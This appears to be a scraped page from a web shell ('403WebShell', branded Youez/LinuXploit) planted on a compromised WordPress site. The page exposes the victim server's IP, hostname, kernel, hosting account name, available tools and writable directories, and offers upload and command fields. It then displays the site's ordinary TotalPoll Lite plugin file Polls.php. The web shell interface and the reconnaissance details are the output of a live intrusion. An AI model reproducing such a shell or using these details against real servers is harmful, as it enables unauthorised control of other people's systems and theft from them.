Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.219.119.163
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/totalpoll-lite/src/Admin/Ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/totalpoll-lite/src/Admin/Ajax/Polls.php
<?php

namespace TotalPoll\Admin\Ajax;

use TotalPollVendors\TotalCore\Contracts\Http\Request;

/**
 * Class Polls
 * @package TotalPoll\Admin\Ajax
 * @since   1.0.0
 */
class Polls {
	/**
	 * @var Request $request
	 */
	protected $request;
	/**
	 * @var \WP_Post|int $poll
	 */
	protected $poll;

	/**
	 * Polls constructor.
	 *
	 * @param Request $request
	 */
	public function __construct( Request $request ) {
		$this->request = $request;
		$this->poll    = get_post( absint( $this->request->request( 'poll', 0 ) ) );

		if ( $this->poll && $this->poll->post_type == TP_POLL_CPT_NAME && current_user_can( 'edit_poll', $this->poll->ID ) ):
			$this->poll = $this->poll->ID;
		endif;
	}

	/**
	 * Add to sidebar AJAX endpoint.
	 * @action-callback wp_ajax_totalpoll_polls_add_to_sidebar
	 */
	public function addToSidebar() {
		if ( ! $this->poll || ! current_user_can( 'edit_theme_options' ) ):
			wp_send_json_error( esc_html__( 'Invalid Poll ID.', 'totalpoll' ) );
		endif;

		$sidebar = (string) $this->request->request( 'sidebar', null );
		if ( is_registered_sidebar( $sidebar ) ):
			// Get sidebars
			$sidebarsWidgets  = wp_get_sidebars_widgets();
			$totalpollWidgets = array_filter( (array) get_option( 'widget_totalpoll_poll', [ '_multiwidget' => 1 ] ) );

			// Prepare the new widget
			$widgetName    = 'totalpoll_poll-' . count( $totalpollWidgets );
			$widgetOptions = [ 'title' => get_the_title( $this->poll ), 'poll' => $this->poll, 'screen' => 'vote' ];

			// Add to widgets
			$sidebarsWidgets[ $sidebar ][]                  = $widgetName;
			$totalpollWidgets[ count( $totalpollWidgets ) ] = $widgetOptions;

			// Save
			update_option( "widget_totalpoll_poll", $totalpollWidgets );
			wp_set_sidebars_widgets( $sidebarsWidgets );

			wp_send_json_success( esc_html__( 'Widget added successfully.', 'totalpoll' ) );
		else:
			wp_send_json_error( esc_html__( 'Invalid Sidebar ID.', 'totalpoll' ) );
		endif;
	}

	/**
	 * @param int $page
	 */
	public function getList( $page = 0 ) {
		$posts = get_posts( [
			'post_type'      => TP_POLL_CPT_NAME,
			'posts_per_page' => 20,
			'offset'         => $page * 20,
			'post_status'    => ['publish', 'pending', 'draft', 'future']
		] );

		$polls = [];

		foreach ( $posts as $post ) {
			$polls[] = [
				'ID'         => $post->ID,
				'post_title' => empty($post->post_title) ? esc_html__('no title') : $post->post_title,
				'preset'     => get_post_meta( $post->ID, 'poll_preset', true )
			];
		}

		wp_send_json( $polls );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit